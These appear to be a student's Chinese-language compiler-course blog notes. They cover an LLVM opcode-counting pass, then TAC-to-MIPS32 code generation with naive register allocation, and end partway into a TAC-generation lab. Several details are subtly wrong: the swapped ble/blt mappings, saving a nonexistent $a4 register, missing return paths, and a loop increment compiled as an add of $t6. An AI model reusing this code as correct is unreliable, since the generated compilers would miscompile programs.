#include "llvm/Pass.h"
#include "llvm/IR/Function.h"
#include "llvm/Support/raw_ostream.h"
#include "llvm/IR/LegacyPassManager.h"
#include "llvm/Transforms/IPO/PassManagerBuilder.h"
 
using namespace llvm; /* 使用的函数在llvm命名空间中 */
 
namespace { /* 声明匿名空间,使得被声明的内容仅在该文件内部可见 */
  struct Hello : public FunctionPass /* 使用struct声明,表示默认共有继承
  FunctionPass 一次操作一个函数 */
  {
    static char ID; /* 声明了LLVM用于标识传递的传递标识符,这允许LLVM避免使用昂贵的C++运行时信息 */
    Hello() : FunctionPass(ID) {} /* 构造函数,调用父函数FunctionPass的构造函数进行初始化 */
    bool runOnFunction(Function &F) override /* 重写runOnFunction入口函数 */
    {
      errs() << "Hello: ";
      errs().write_escaped(F.getName()) << '\n';
      std::map<std::string, int> opCodeMap;
      int BBsize=0;
      int opsize=0;
      for(Function::iterator bbit=F.begin();bbit!=F.end();bbit++)
      {
        BBsize++;
        for(BasicBlock::iterator opit=bbit->begin();opit!=bbit->end();opit++)
        {
          opsize++;
          std::string opName(opit->getOpcodeName());
          std::map<std::string,int>::iterator itindex=opCodeMap.find(opName);
          if(itindex!=opCodeMap.end())opCodeMap[opName]++;
          else opCodeMap[opName]=1;
        }
      }
      errs().write_escaped(F.getName())<<" has "<<BBsize<<"  BasicBlocks   and "<<opsize<<"   opcode";
      for(auto it : opCodeMap)errs() <<"   function totally use  "<<it.first <<" "<<it.second <<"times \n";
      return false;
    }
  };
}
 
char Hello::ID = 0; /* 初始化pass ID(LLVM使用ID的地址来识别通行证) */
 
// Register for opt
static RegisterPass<Hello> X("hello", "Hello World Pass",false); 
/* 注册类Hello,给它命令行参数hello,和名字Hello World Pass
最后两个参数描述它的行为:
如果一个pass在没有修改它的情况下遍历CFG,那么第三个参数设置为true
如果传递是分析传递(例如:支配树传递),则true作为第四个参数提供 */
 
// Register for clang
static RegisterStandardPasses Y(PassManagerBuilder::EP_EarlyAsPossible,
  [](const PassManagerBuilder &Builder, legacy::PassManagerBase &PM) {
    PM.add(new Hello());
  });

编译代码为：

1	clang `llvm-config --cxxflags` -Wl,-znodelete -fno-rtti -fPIC -shared Hello.cpp -o LLVMHello.so `llvm-config --ldflags`

LLVM Value

在 LLVM 中，Value 类是所有程序计算出的值的类（如：Arguments，Instructions， Functions 等）的基类，Value类的继承树如下：

在 LLVM 中一切皆 Value：

Value 类是 LLVM 中非常重要的基类
输入程序流中的 “变量/常量/表达式/符号” 都可以被视作一个 Value

Value 类包含多个成员，这里先介绍最重要的三个成员：VTy，UseList，SubclassID

VTy：
- 一个 Value 必然具有一个类型 Type
- VTy 用来记录这个 Value 的Type
UseList：
- LLVM 引入了 Use 类并在 Value 中添加一个 UseList 用来跟踪并记录 Value 的使用者
- 虽然名为 UseList 但只是一个 Use 类的指针
SubclassID：
- 这是一个 const 值，用来指示这个 Value 的子类型
- 其用于 isa<> 与 dyn_cast<> 的判断

1个具体的值，在IR中可能会被多处引用（比如：函数的入参会被函数中的多条指令引用）

在 Value 类中保存了一个 Users 列表（UseList）跟踪这种引用关系，这个被称为 def-use chain，可以使用如下的方法获取 Value 的 Uses：

Value::use_iterator // use-list的迭代器
Value::const_use_iterator // use-list的只读迭代器
unsigned use_size() // 返回value的引用次数
bool use_empty() // 如果use-list为NULL则返回true
use_iterator use_begin() // 获取迭代器的开头
use_iterator use_end() // 获取迭代器的末端
User *use_back() // 获取use-list的最后一个元素

使用案例：

bool runOnFunction(Function &Fun) override 
{
    errs() << "============[start]============>>\n";
    Function *F = &Fun;
    for (Value::use_iterator U = F->use_begin(), e = F->use_end(); U != e; ++U) {
        if (Instruction *Inst = dyn_cast<Instruction>(&*(U->getUser()))) {
            errs() << "F is used in instruction:\n";
            errs() << *Inst << "\n";
        }
    }
    errs() << "=============[end]=============>>\n";
    return false;
}

#include <stdio.h>
#include <unistd.h>

void fun1(){
}

void fun2(){
	fun1();
}

void fun3(){
	fun1();
	fun2();
}

void fun4(){
	fun1();
	fun2();
	fun3();
}

int main() {
	fun1();
	fun2();
	fun3();
	fun4();
	return 0;
}

测试结果：

============[start]============>> /* fun1的调用者 */
F is used in instruction:
  call void @fun1() /* fun2中调用fun1 */
F is used in instruction:
  call void @fun1() /* fun3中调用fun1 */
F is used in instruction:
  call void @fun1() /* fun4中调用fun1 */
F is used in instruction:
  call void @fun1() /* main中调用fun1 */
=============[end]=============>>
============[start]============>>
F is used in instruction:
  call void @fun2()
F is used in instruction:
  call void @fun2()
F is used in instruction:
  call void @fun2()
=============[end]=============>>
============[start]============>>
F is used in instruction:
  call void @fun3()
F is used in instruction:
  call void @fun3()
=============[end]=============>>
============[start]============>>
F is used in instruction:
  call void @fun4()
=============[end]=============>>
============[start]============>>
=============[end]=============>>

小结：

最近学编译原理，顺便把 LLVM 捡起来

编译原理-Lab4

Posted on 2023-03-23 In Knowledge 15k 13 mins.

第一个任务

这部分的实验要完成将 TAC 的指令序列转换成目标代码，本文中在这里对实现做了一些限制，假设数据类型只包含整数类型，不包含如浮点数、数组、结构和指针等其它数据类型（也不包括全局变量）

目标语言为汇编语言，这样做的目的就是尽可能简单地实现目标代码的生成并能运行程序观察运行结果，完成了一个可运行的编译程序

MIPS32 架构

MIPS32 的架构是一种基于固定长度的定期编码指令集，并采用导入/存储（load/store）数据模型

目标语言可选定 MIPS32 指令序列，可以在 SPIM Simulator 上运行

MIPS32 体系结构有 :

32个通用寄存器
2个特殊寄存器（整数乘除法寄存器）
32个浮点寄存器
PC：程序计数器（在 MIPS32 下，PC 不是一个通用寄存器）

本实验只使用 t1-t9 s0-s7，并且不区分功能

TAC 指令和 MIPS32 指令的对应关系如下表所示：

中间代码	MIPS32 指令
LABEL x	x:
x :=#k	li reg(x),k
x := y	move reg(x), reg(y)
x := y + z	add reg(x), reg(y) , reg(z)
x := y - z	sub reg(x), reg(y) , reg(z)
x := y * z	mul reg(x), reg(y) , reg(z)
x := y / z	div reg(y) , reg(z) mflo reg(x)
GOTO x	j x
RETURN x	move $v0, reg(x) jr $ra
IF x==y GOTO z	beq reg(x),reg(y),z
IF x!=y GOTO z	bne reg(x),reg(y),z
IF x>y GOTO z	bgt reg(x),reg(y),z
IF x>=y GOTO z	bge reg(x),reg(y),z
IF x<y GOTO z	ble reg(x),reg(y),z
IF x<=y GOTO z	blt reg(x),reg(y),z
X:=CALL f	jal f move reg(x),$v0

其中 reg(x) 表示变量 x 所分配的寄存器
寄存器 v0 用来存放子程序的返回值

安装 MIPS 编译器和模拟器

安装编译器和依赖：

1 2	sudo apt-get install emdebian-archive-keyring sudo apt-get install linux-libc-dev-mips-cross libc6-mips-cross libc6-dev-mips-cross binutils-mips-linux-gnu gcc-mips-linux-gnu g++-mips-linux-gnu

检测是否安装成功：

1	mips-linux-gnu-gcc -dumpmachine

安装 mips 虚拟机：

1	sudo apt-get install qemu-system-mips

下载内核映像和初始化文件：（不推荐）

1
2

wget http://ftp.debian.org/debian/dists/stable/main/installer-mipsel/current/images/malta/netboot/initrd.gz
wget http://ftp.debian.org/debian/dists/stable/main/installer-mipsel/current/images/malta/netboot/vmlinuz-5.10.0-20-4kc-malta

创建虚拟磁盘：（不推荐）

1	qemu-img create -f qcow2 hda.img 2G

开启虚拟机：（不推荐）

qemu-system-mips -M malta \
  -m 512 -hda hda.img \
  -kernel vmlinuz-5.10.0-20-4kc-malta \
  -initrd initrd.gz \
  -append "console=ttyS0 nokaslr" \
  -nographic

上面这种方法有点 BUG，目前没有启动成功

下载内核映像和初始化文件：（推荐）

1 2	wget http://people.debian.org/\~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2 wget http://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-malta

开启虚拟机：（推荐）

1	qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0"

user：user
password：user

安装 libguestfs：用于挂载 qcow2 磁盘镜像

1	sudo apt-get install libguestfs-tools

挂载/卸载命令：

sudo guestmount -a debian_squeeze_mips_standard.qcow2 -m /dev/sda1 rootfs
sudo cp $1 rootfs/home/user
sudo chmod 777 rootfs/home/user/$1
sudo guestunmount rootfs

寄存器分配算法

在目标生成阶段，一个很重要的工作就是寄存器的分配：

最为简单的就是朴素的寄存器分配算法，效率最低，也最容易实现
对于一个基本块采用的局部寄存器分配算法，实现起来相对不是太难，且效率上有一定提升

本实验采用朴素的寄存器分配算法：

将所有的变量或临时变量都放入内存中
每翻译一条中间代码之前都需要吧要用到的变量先加载到寄存器中，得到该代码的计算结果之后又需要将结果写回内存

可分配的寄存集合：（不区分功能）

1	string regs[] = {"t1","t2","t3","t4","t5","t6","t7","t8","t9","s0","s1","s2","s3","s4","s5","s6","s7"};

核心算法如下：

vector<string> variables; /* 变量数组 */
map<string,string> table; /* 记录已经分配寄存器的变量{key:变量,value:寄存器} */
map<string,int> reg_ok;

string Get_R(const string& temp_str){ /* 引用是原变量的一个别名,跟原来的变量实质上是同一个东西 */
    for (auto it = variables.begin();it!=variables.end();++it){ /* it为迭代器 */
        if (*it == temp_str){ /* 去除重复 */
            it = variables.erase(it);
            break;
        }
    } 

    if (table.find(temp_str) != table.end()){
        /* 如果已经存在寄存器分配,那么直接返回寄存器 */
        return "$"+table[temp_str];
    }
    else{ /* 目前传入的变量只有两种类型:temp临时变量,var函数形参 */
        vector<string> keys;
        for (auto &it:table) /* 遍历table的key(已经分配寄存器) */
            /* 类似于python的"for i in data" */
            keys.emplace_back(it.first); /* 直接在vector尾部创建这个元素 */

        for (auto &key:keys){ /* 当遇到未分配寄存器的变量时,清空之前所有分配的临时变量的映射关系(临时变量只使用一次) */
            if (key.find("temp")!=string::npos && 
                find(variables.begin(),variables.end(),key) == variables.end()){
                reg_ok[table[key]] = 1;
                table.erase(key);
            }
        } 

        for (const auto & reg : regs){ /* 对于所有寄存器 */
            if(reg_ok[reg] == 1){ /* 如果寄存器可用 */
                table[temp_str] = reg; /* 将可用寄存器分配给该变量,映射关系存到table中 */
                reg_ok[reg] = 0; /* 寄存器reg设置为已用 */
                return "$"+reg;
            }
        } 
    }
}

朴素寄存器分配的翻译

翻译的操作如下表：

中间代码	MIPS32 指令
x :=#k	li $t3 ,k sw $t3, x的偏移量($sp)
x := y	lw $t1, y的偏移量($sp) move $t3 , $t1 sw $t3, x的偏移量($sp)
x := y + z	lw $t1, y的偏移量($sp) lw $t2, z的偏移量($sp) add $t3 , $t1,$t2 sw $t3, x的偏移量($sp)
x := y - z	l w $t1, y的偏移量($sp) l w $t2, z的偏移量($sp) sub $t3 , $t1,$t2 sw $t3, x的偏移量($sp)
x := y * z	l w $t1, y的偏移量($sp) l w $t2, z的偏移量($sp) mul $t3 , $t1,$t2 sw $t3, x的偏移量($sp)
x := y / z	l w $t1, y的偏移量($sp) l w $t2, z的偏移量($sp) mul $t3 , $t1,$t2 div $t1,$t2 mflo $t3 sw $t3, x的偏移量($sp)
RETURN x	move $v0, x的偏移量($sp)jr $ra
IF x==y GOTO z	l w $t1, x的偏移量($sp) l w $t2, y的偏移量($sp) beq $t1,$t2 ,z
IF x!=y GOTO z	l w $t1, x的偏移量($sp) l w $t2, y的偏移量($sp) bne $t1,$t2 ,z
IF x>y GOTO z	l w $t1, x的偏移量($sp) l w $t2, y的偏移量($sp) bgt $t1,$t2 ,z
IF x>=y GOTO z	l w $t1, x的偏移量($sp) l w $t2, y的偏移量($sp) bge $t1,$t2 ,z
IF x<y GOTO z	l w $t1, x的偏移量($sp) l w $t2, y的偏移量($sp) ble $t1,$t2 ,z
IF x<=y GOTO z	l w $t1, x的偏移量($sp) l w $t2, y的偏移量($sp) blt $t1,$t2 ,z
X:=CALL f

对于函数调用 X:=CALL f，需要完成开辟活动记录的空间、参数的传递和保存返回地址等，函数调用返回后，需要恢复返回地址，读取函数返回值以及释放活动记录空间（活动记录的空间布局没有一个统一的标准，可根据自己的理解保存好数据，并能正确使用即可）

通常，使用4个寄存器完成参数的传递，多余4个的参数使用活动记录空间，这里做了简单处理，所有参数都使用活动记录空间，具体步骤：

首先根据保存在函数调用指令中的 offset，找到符号表中的函数定义点，获取函数的参数个数i，这样就可得到在 X:=CALL f 之前的 i 个 ARG 形式的中间代码，获得 i 个实参值所存放的单元，取出后送到形式参数的单元中
根据符号表记录的活动记录大小，开辟活动记录空间和保存返回地址
使用 jal f 转到函数f处
释放活动记录空间和恢复返回地址
使用 sw $v0 , x 的偏移量 ($sp) 获取返回值送到 X 的存储单元中

TAC 转化为 MIPS32

这就是本实验最复杂的步骤了，首先需要一个函数来读取记录中间变量的文件：

string Load_Inter(const string& filename){
    string lines;
    string temp_line;
    ifstream in(filename);
    if(in){
        while (getline(in,temp_line)){
            if (temp_line == " ")
                continue;
            lines.append(temp_line);
            lines.append("\n");
        }
    }
    in.close();
    return lines;
}

另一个函数来记录所有变量到 variables 中：

vector<string> variables; /* 变量数组 */

void Load_Var(string Inter){ /* 传入参数为中间代码字符串 */
    regex temp_re("temp\\d+"); /* 正则表达式{temp+任意数字} */
    regex var_re("var\\d+");
    smatch result;
    string temp_line;
    
    string::const_iterator iter = Inter.begin();
    string::const_iterator iterEnd = Inter.end();
    while (regex_search(iter,iterEnd,result,temp_re)){ /* 匹配regex规则 */
        temp_line = result[0];
        variables.emplace_back(temp_line); /* 记录到变量数组中 */
        iter = result[0].second; /* 更新搜索起始位置,搜索剩下的字符串 */
    }
    iter = Inter.begin();
    iterEnd = Inter.end();
    while (regex_search(iter,iterEnd,result,var_re)){
        temp_line = result[0];
        variables.emplace_back(temp_line);
        iter = result[0].second;
    } 
}

所有临时变量均分配在寄存器中

最后需要一个函数来逐行进行翻译，我们把这个函数拆分为多段来分析：

将每行 string 按空格存成数组：

vector<string> line;
string temp_res;
stringstream input(temp_str); 
while (input>>temp_res) /* 可以理解为队列,只能从头节点取出值,新数据接在尾节点 */
    line.emplace_back(temp_res); 

if(line.size()==0){
    return " "; /* 规避'\n'的影响 */
}

stringstream 类相当于一个管道（队列），可以用它来分割字符串

处理简单指令：

size_t func_argn;
size_t func_param;

string temp_return;
if(line[0] == "LABEL"){ /* 标记跳转 */
    return line[1]+":";
}
if (line[0] == "FUNCTION"){ /* 标记函数 */
    for (const auto & reg : regs) /* 重置reg_ok和table */
        reg_ok[reg] = 1;
    table.clear();
    func_param = 0;
    return line[1]+":";
}
if (line[0] == "RETURN"){ /* 标记返回 */
    func_argn = 0;
    return "\tmove $v0,"+Get_R(line[1])+"\n\tjr $ra";
}
if (line[0] == "GOTO"){ /* 执行跳转 */
    return "\tj "+line[1];
}

中间代码转化为 MIPS 的过程以函数为单位，读取到一个新的函数标签时，应该重置 reg_ok 和 table
当一个函数调用其子函数时，程序会将寄存器信息保存在栈中，我们不用担心覆盖寄存器带来的影响

处理函数参数：

string params[] = {"a0","a1","a2","a3"};

if (line[0] == "ARG"){ /* 为函数参数分配寄存器 */
    func_argn++;
    return "\tmove $"+params[func_argn-1]+","+Get_R(line.back());
}
if (line[0] == "PARAM"){ /* 声明函数参数的寄存器 */
    func_param++;
    table[line.back()] = params[func_param-1]; /* 永久记录对应的{var,params} */
}

函数传参使用 a0-a3（规定函数参数不超过4个）
全局变量 func_argn 和 func_param 用于记录当前参数的标号

处理函数调用：

if (line[0] == "CALL"){ /* 函数调用 */
    func_argn = 0;
    return string("")+"\taddi $sp,$sp,-60\n\tsw $ra,0($sp)\n\tsw $t0,4($sp)\n\tsw $t1,8($sp)\n\tsw $t2,12($sp)\n\tsw $t3,16($sp)\n"+ \
        "\tsw $t4,20($sp)\n\tsw $t5,24($sp)\n\tsw $t6,28($sp)\n\tsw $t7,32($sp)\n\tsw $t8,36($sp)\n\tsw $t9,40($sp)\n"+ \
        "\tsw $a0,44($sp)\n\tsw $a1,48($sp)\n\tsw $a3,52($sp)\n\tsw $a4,56($sp)\n"+ \
        "\tjal "+line.back()+"\n"+ \
        "\tlw $ra,0($sp)\n\tlw $t0,4($sp)\n\tlw $t1,8($sp)\n\tlw $t2,12($sp)\n\tlw $t3,16($sp)\n"+ \
        "\tlw $t4,20($sp)\n\tlw $t5,24($sp)\n\tlw $t6,28($sp)\n\tlw $t7,32($sp)\n\tlw $t8,36($sp)\n\tlw $t9,40($sp)\n"+ \
        "\tlw $a0,44($sp)\n\tlw $a1,48($sp)\n\tlw $a3,52($sp)\n\tlw $a4,56($sp)\n"+ \
        "\taddi $sp,$sp,60";
}

调用前保存寄存器，调用后恢复寄存器（t1-t9 a0-a3）

IF 判断语句：

if (line[0] == "IF") {
    if (line[2] == "=="){
        temp_return = "\tbeq ";
        temp_return += Get_R(line[1])+",";
        temp_return += Get_R(line[3])+",";
        temp_return += line.back();
        return temp_return;
    }
    if (line[2] == "!="){
        temp_return = "\tbne ";
        temp_return += Get_R(line[1])+",";
        temp_return += Get_R(line[3])+",";
        temp_return += line.back();
        return temp_return;
    }
    if (line[2] == ">"){
        temp_return = "\tbgt ";
        temp_return += Get_R(line[1])+",";
        temp_return += Get_R(line[3])+",";
        temp_return += line.back();
        return temp_return;
    }
    if (line[2] == "<"){
        temp_return = "\tblt ";
        temp_return += Get_R(line[1])+",";
        temp_return += Get_R(line[3])+",";
        temp_return += line.back();
        return temp_return;
    }
    if (line[2] == ">="){
        temp_return = "\tbge ";
        temp_return += Get_R(line[1])+",";
        temp_return += Get_R(line[3])+",";
        temp_return += line.back();
        return temp_return;
    }
    if (line[2] == "<="){
        temp_return = "\tble ";
        temp_return += Get_R(line[1])+",";
        temp_return += Get_R(line[3])+",";
        temp_return += line.back();
        return temp_return;
    }
}

根据不同的条件，使用对应的汇编代码即可

赋值语句：

if (line[1] == ":=") {
    if (line.size() == 3){ /* 对应简单赋值语句 */
        if (line[2][0] == '#'){ // 立即数
            return "\tli " + Get_R(line[0]) + ","+line.back().substr(1);
        }
        else{
            temp_return = "\tmove "; // 寄存器
            temp_return += Get_R(line[0])+',';
            temp_return += Get_R(line[2]);
            return temp_return;
        }
    }
    if (line.size() == 5){ /* 对应带有运算的赋值语句 */
        if (line[3] == "+"){
            if (line[2][0] == '#'){ // 立即数
                temp_return = "\taddi ";
                temp_return += Get_R(line[0])+",";
                temp_return += Get_R(line[2])+",";
                temp_return += line.back().substr(1);
                return temp_return;
            }
            else{
                temp_return = "\tadd "; // 寄存器
                temp_return += Get_R(line[0])+",";
                temp_return += Get_R(line[2])+",";
                temp_return += Get_R(line.back());
                return temp_return;
            }
        }
        else if (line[3] == "-"){
            if (line[2][0] == '#'){ // sub不支持使用立即数
                temp_return = "";
                return temp_return;
            }
            else{
                temp_return = "\tsub "; // 寄存器
                temp_return += Get_R(line[0])+",";
                temp_return += Get_R(line[2])+",";
                temp_return += Get_R(line.back());
                return temp_return;
            }
        }
        else if (line[3] == "*"){
            temp_return = "\tmul ";
            temp_return += Get_R(line[0])+",";
            temp_return += Get_R(line[2])+",";
            temp_return += Get_R(line.back());
            return temp_return;
        }
        else if (line[3] == "/"){
            temp_return = "\tdiv ";
            temp_return += Get_R(line[2])+",";
            temp_return += Get_R(line.back()) + "\n\tmflo ";
            temp_return += Get_R(line[0]);
            return temp_return;
        }
        else if (line[3] == "<"){ /* 左移 */
            temp_return = "\tslt ";
            temp_return += Get_R(line[0])+",";
            temp_return += Get_R(line[2])+",";
            temp_return += Get_R(line.back());
            return temp_return;
        }
        else if (line[3] == ">"){ /* 右移 */
            temp_return = "\tslt ";
            temp_return += Get_R(line[0])+",";
            temp_return += Get_R(line.back())+",";
            temp_return += Get_R(line[2]);
            return temp_return;
        }
    } 
    if (line[2] == "CALL") /* 对应带有函数调用的赋值语句 */
    {
        func_argn = 0;
        return string("")+"\taddi $sp,$sp,-60\n\tsw $ra,0($sp)\n\tsw $t0,4($sp)\n\tsw $t1,8($sp)\n\tsw $t2,12($sp)\n\tsw $t3,16($sp)\n"+ \
            "\tsw $t4,20($sp)\n\tsw $t5,24($sp)\n\tsw $t6,28($sp)\n\tsw $t7,32($sp)\n\tsw $t8,36($sp)\n\tsw $t9,40($sp)\n"+ \
            "\tsw $a0,44($sp)\n\tsw $a1,48($sp)\n\tsw $a2,52($sp)\n\tsw $a3,56($sp)\n"+ \
            "\tjal "+line.back()+"\n"+ \
            "\tlw $ra,0($sp)\n\tlw $t0,4($sp)\n\tlw $t1,8($sp)\n\tlw $t2,12($sp)\n\tlw $t3,16($sp)\n"+ \
            "\tlw $t4,20($sp)\n\tlw $t5,24($sp)\n\tlw $t6,28($sp)\n\tlw $t7,32($sp)\n\tlw $t8,36($sp)\n\tlw $t9,40($sp)\n"+ \
            "\tlw $a0,44($sp)\n\tlw $a1,48($sp)\n\tlw $a2,52($sp)\n\tlw $a3,56($sp)\n"+ \
            "\taddi $sp,$sp,60\n\tmove "+Get_R(line[0])+", $v0";
    }
}

根据不同的条件，使用对应的汇编代码即可

最后需要一个函数组织并输出 demo.s 汇编文件：

void write_to_txt(const vector<string>& obj){
    ofstream out("./demo.s");
    string temp =".data\n"
                "_prompt: .asciiz \"Enter an integer:\"\n"
                "_ret: .asciiz \"\\n\"\n"
                ".globl main\n"
                ".text\n";
    out<<temp;
    for (auto & it:obj)
        out<<it<<endl;
    out.close();
}

编译与结果

编译命令：

1	g++ main.cpp -o test4

测试文件：

int fast(int n)
{
	int a1 = 14;
	int a2 = 15;
	int a3 = 16;
	int a4;
	int i;

	for(i=0;i<n;i++){
		a4 = (a1+a2)*a3;
	}
	
	return 0;
}
int main()
{
	int n = 5;
	fast(n);
	return 0;
}

中间代码：

FUNCTION fast :
  PARAM var2
  temp1 := #14
  var3 := temp1
  temp2 := #15
  var4 := temp2
  temp3 := #16
  var5 := temp3
  temp4 := #0
  var7 := temp4
LABEL label4 :
  IF var7 < var2 GOTO label3
  GOTO label2
LABEL label3 :
  temp5 := var3 + var4
  temp6 := temp5 * var5
  var6 := temp6
  var7 := var7 + 1
  GOTO label4
LABEL label2 :
  temp7 := #0
  RETURN temp7
LABEL label1 :

FUNCTION main :
  temp8 := #5
  var9 := temp8
  ARG var9
  temp9 := CALL fast
  temp10 := #0
  RETURN temp10
LABEL label5 :

汇编代码：

.data
_prompt: .asciiz "Enter an integer:"
_ret: .asciiz "\n"
.globl main
.text
fast:
	li $t1,14
	move $t2,$t1
	li $t1,15
	move $t3,$t1
	li $t1,16
	move $t4,$t1
	li $t1,0
	move $t5,$t1
label4:
	blt $t5,$a0,label3
	j label2
label3:
	add $t1,$t2,$t3
	mul $t6,$t1,$t4
	move $t1,$t6
	add $t5,$t5,$t6
	j label4
label2:
	li $t7,0
	move $v0,$t7
	jr $ra
label1:
main:
	li $t1,5
	move $t2,$t1
	move $a0,$t2
	addi $sp,$sp,-60
	sw $ra,0($sp)
	sw $t0,4($sp)
	sw $t1,8($sp)
	sw $t2,12($sp)
	sw $t3,16($sp)
	sw $t4,20($sp)
	sw $t5,24($sp)
	sw $t6,28($sp)
	sw $t7,32($sp)
	sw $t8,36($sp)
	sw $t9,40($sp)
	sw $a0,44($sp)
	sw $a1,48($sp)
	sw $a2,52($sp)
	sw $a3,56($sp)
	jal fast
	lw $ra,0($sp)
	lw $t0,4($sp)
	lw $t1,8($sp)
	lw $t2,12($sp)
	lw $t3,16($sp)
	lw $t4,20($sp)
	lw $t5,24($sp)
	lw $t6,28($sp)
	lw $t7,32($sp)
	lw $t8,36($sp)
	lw $t9,40($sp)
	lw $a0,44($sp)
	lw $a1,48($sp)
	lw $a2,52($sp)
	lw $a3,56($sp)
	addi $sp,$sp,60
	move $t1, $v0
	li $t1,0
	move $v0,$t1
	jr $ra
label5:

编译原理-Lab3

Posted on 2023-03-21 Edited on 2023-03-22 In Knowledge 28k 25 mins.

第一个任务

通过前面对 AST 遍历，完成了语义分析后，如果没有语法语义错误，就可以再次对 AST 进行遍历，计算相关的属性值，建立符号表，并生成以三地址代码 TAC 作为中间语言的中间语言代码序列

在这里对本实验的实现做了一些限制，假设数据类型只包含整数类型，不包含如浮点数、数组、结构和指针等其它数据类型

实验目标：完成语义分析的下半部分，以根据 AST 生成中间语言 TAC

三地址代码 TAC

中间语言（中间代码）是一种面向语法，易于翻译成目标程序的等效内部表示代码（二进制码）

其可理解性及易于生成目标代码的程度介于源语言和目标语言之间

三地址中间代码 TAC 是一个4元组，逻辑上包含 (op、opn1、opn2、result)：

op：表示操作类型说明
opn1 和 opn2：表示2个操作数
result：表示运算结果

后续还需要根据 TAC 序列生成目标代码，所以设计其存储结构时，每一部分要考虑目标代码生成时所需要的信息

表 4-1 中间代码定义：

语法	描述	Op	Opn1	Opn2	Result
LABEL x	定义标号 x	LABEL			X
FUNCTION f:	定义函数 f	FUNCTION			F
x := y	赋值操作	ASSIGN	X		X
x := y + z	加法操作	PLUS	Y	Z	X
x := y - z	减法操作	MINUS	Y	Z	X
x := y * z	乘法操作	STAR	Y	Z	X
x := y / z	除法操作	DIV	Y	Z	X
GOTO x	无条件转移	GOTO			X
IF x [relop] y GOTO z	条件转移	[relop]	X	Y	Z
RETURN x	返回语句	RETURN			X
ARG x	传实参 x	ARG			X
x:=CALL f	调用函数	CALL	F		X
PARAM x	函数形参	PARAM			X
READ x	读入	READ			X
WRITE x	打印	WRITE			X

运算符：
- 表示这条指令需要完成的运算，可以用枚举常量表示，如 PLUS 表示双目加，JLE 表示小于等于，PARAM 表示形参，ARG 表示实参等
操作数与运算结果：
- 这些部分包含的数据类型有多种，整常量，实常量，还有使用标识符的情况，如变量的别名、变量在其数据区的偏移量和层号、转移语句中的标号等
- 类型不同，所以考虑使用联合，为了明确联合中的有效成员，将操作数与运算结果设计成结构类型，包含 kind，联合等几个成员，kind 说明联合中的有效，联合成员是整常量，实常量或标识符表示的别名或标号或函数名等
为了配合后续的 TAC 代码序列的生成，将 TAC 代码作为数据元素，用双向循环链表表示 TAC 代码序列

翻译模式

翻译模式：把语义规则（也称为语义动作），用花括号 {} 括起来，插入到产生式右部的合适位置上，进一步细化了语义计算的时机

翻译模式用于指明各个符号的具体含义，当 “词法分析” 和 “语法分析” 都执行完毕以后，程序便会开始 “语义分析”，其大概包含以下两个步骤：

生成符号表，并进行：重复检查，未声明/定义检查，类型匹配检查
为 AST 的各个节点类型编写“含义”（根据翻译模式对各个节点的意义进行解释）

翻译模式共有两种：

S-翻译模式：
- 只涉及到综合属性，语义动作集置于产生式右端的末尾
- 常采用 LR 的自底向上的分析法，和S-属性文法类似
L-翻译模式：
- 包含综合属性，也可以包含继承属性
- 必须满足以下条件：
  - 产生式右部符号的继承属性，其语义计算必须位于该符号前，且语义动作不访问右边符号的属性
  - 产生式左部符号的综合属性只有在它所引用的所有属性都计算出来之后才可以计算，计算这种属性的动作通常放在产生式的末尾
  - 继承属性只能依赖于兄长的属性、父亲的继承属性、自身的属性
  - 属性间的依赖图不能形成环路

本实验将会采用S-翻译模式和 LR(1) 文法：

基础文法 LL(1)：自顶向下计算
基础文法 LR(1)：自底向上计算

属性计算

在遍历过程中，需要根据翻译模式给出的计算方法完成属性的计算，本实验中设置的属性如下：

struct node
{                     
    ......
    int level;                  // 层号
    int place;                  // 表示结点对应的变量或运算结果符号表的位置序号
    char Etrue[15], Efalse[15]; // 对布尔表达式的翻译时，真假转移目标的标号
    char Snext[15];             // 该结点对饮语句执行后的下一条语句位置标号
    struct codenode *code;      // 该结点中间代码链表头指针
    char op[10];
    int type;   // 结点对应值的类型
    int pos;    // 语法单位所在位置行号
    int offset; // 偏移量
    int width;  // 占数据字节数
    int num;	// 记录个数
};

.place：记录该结点操作数在符号表中的位置序号，每次完成了计算后，中间结果需要用一个临时变量保存，临时变量也需要登记到符号表中（返回局部变量会生成一个临时变量，即没有名字的变量）
.type：记录数据的类型，用于表达式的计算中，该属性也可用于语句，表示语句语义分析的正确性（OK或ERROR）
.offset：记录外部变量在静态数据区中的偏移量，以及局部变量和临时变量在活动记录中的偏移量（另外对函数，这项保存活动记录的大小）
.width：记录一个结点表示的语法单位中，定义的变量和临时单元所需要占用的字节数，方便计算变量、临时变量在活动记录中偏移量，以及最后计算函数活动记录的大小
.code：记录中间代码序列的起始位置，如采用链表表示中间代码序列，该属性就是一个链表的头指针
.Etrue 和 .Efalse：在完成布尔表达式翻译时，表达式值为真假时要转移的程序位置（标号的字符串形式）
.Snext：该结点的语句序列执行完后，要转移的程序位置（标号的字符串形式）

这一步非常复杂，如果有必要的话，我们需要对每个类型的节点都设置一个函数，用于解析它本身的语义：

void semantic_Analysis(struct node *T){
    if (T)
    {
        switch (T->kind)
        {
        case EXT_DEF_LIST: // 外部定义列表
            ext_def_list(T);
            break;
        case EXT_VAR_DEF: // 外部变量声明
            ext_var_def(T);
            break;
        case FUNC_DEF: // 函数定义
            func_def(T);
            break;
        case FUNC_DEC: // 函数声明
            func_dec(T);
            break;
        case PARAM_LIST: // 参数定义列表
            param_list(T);
            break;
        case PARAM_DEC: // 参数定义
            param_dec(T);
            break;
        case COMP_STM: // 复合语句
            comp_stm(T);
            break;
        case DEF_LIST: // 定义列表
            def_list(T);
            break;
        case VAR_DEF: // 定义
            var_def(T);
            break;
        case STM_LIST: // 语句列表
            stmt_list(T);
            break;
        case IF_THEN: // IF ELSE-IF语句
            if_then(T);
            break; 
        case IF_THEN_ELSE: // IF ELSE语句
            if_then_else(T);
            break;
        case WHILE: // WHILE语句
            while_dec(T);
            break;
        case FOR: // FOR语句(改动)
            for_dec(T);
            break;    
        case FOR_DEC: // FOR语句列表(新添)
            for_list(T);
            break;  
        case EXP_STMT: // 表达式语句
            exp_stmt(T);
            break;
        case RETURN: // 返回
            return_dec(T);
            break;
        case ID:
        case STRUCT_TAG: // 结构体(新添)
        case INT:
        case FLOAT:
        case CHAR:
        case STRING:
        case ASSIGNOP:
        case AND:
        case OR:
        case RELOP:
